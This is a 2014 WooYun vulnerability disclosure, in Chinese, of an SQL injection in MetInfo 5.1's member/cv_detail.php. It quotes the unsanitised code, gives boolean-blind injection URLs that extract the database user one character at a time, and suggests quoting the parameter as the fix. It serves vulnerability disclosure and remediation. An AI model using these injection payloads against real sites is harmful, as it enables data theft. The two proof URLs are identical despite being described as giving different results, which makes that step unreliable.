当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062879

漏洞标题:MetInfo企业网站管理系统SQL注入漏洞三

相关厂商:cncert国家互联网应急中心

漏洞作者: xfkxfk

提交时间:2014-05-30 17:41

修复时间:2014-08-28 17:42

公开时间:2014-08-28 17:42

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-30: 细节已通知厂商并且等待厂商处理中
2014-06-04: 厂商已经确认,细节仅向厂商公开
2014-06-07: 细节向第三方安全合作伙伴开放
2014-07-29: 细节向核心白帽子及相关领域专家公开
2014-08-08: 细节向普通白帽子公开
2014-08-18: 细节向实习白帽子公开
2014-08-28: 细节向公众公开

简要描述:

MetInfo企业网站管理系统SQL注入漏洞三,无视GPC

详细说明:

MetInfo企业网站管理系统v5.1正式版
文件/member/cv_detail.php

<?php
require_once 'login_check.php';
require_once ROOTPATH.'member/index_member.php';
$cv_list=$db->get_one("select * from $met_cv where id='$id'");
if(!$cv_list){
okinfo('cv.php',$lang_NoidJS);
}
$query = "SELECT * FROM $met_parameter where lang='$lang' and module=6 order by no_order";
$result = $db->query($query);
while($list= $db->fetch_array($result)){
$value_list=$db->get_one("select * from $met_plist where paraid=$list[id] and listid=$id ");//问题在这里
if($list[type]==5)
{
$value_list[info]="<a href='$value_list[info]'>$value_list[info]</a>";
}
$list[content]=$value_list[info];
$cv_para[]=$list;
}
$mfname='cv_detail';
include template('member');
footermember();
?>


从代码中看到

$value_list=$db->get_one("select * from $met_plist where paraid=$list[id] and listid=$id ");


id没有加任何保护,直接进入SQL语句,导致注入

漏洞证明:

1、登陆后,在线应聘/job/cv.php,添加一个简历
2、在管理简历信息——查看简历信息时id存在注入
http://localhost/metinfo5.1/member/cv_detail.php?lang=cn&id=1 AND ascii( substring( user( ) , 1, 1 ) ) >113——正常返回

1.png


http://localhost/metinfo5.1/member/cv_detail.php?lang=cn&id=1 AND ascii( substring( user( ) , 1, 1 ) ) >113——无信息返回

2.png

证明user()的第一个字符为r
继续修改substring( user( ) , 1, 1 )中的第二个数字,2,3,4,然后在修改后面的ascii码值,进一步得到user()=root
同样方法进一步猜出其他数据。

修复方案:

加单引号保护即可

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-06-04 15:41

厂商回复:

对近期的MetInfo漏洞,一些需要较强的后台认证前提,对于此类漏洞,CNVD不再进行实例复现,根据代码原理进行认定(或本地复现),并由CNVD按以往处置联系渠道,向软件生产厂商长沙米拓信息技术有限公司集中通报。rank 10

最新状态:

暂无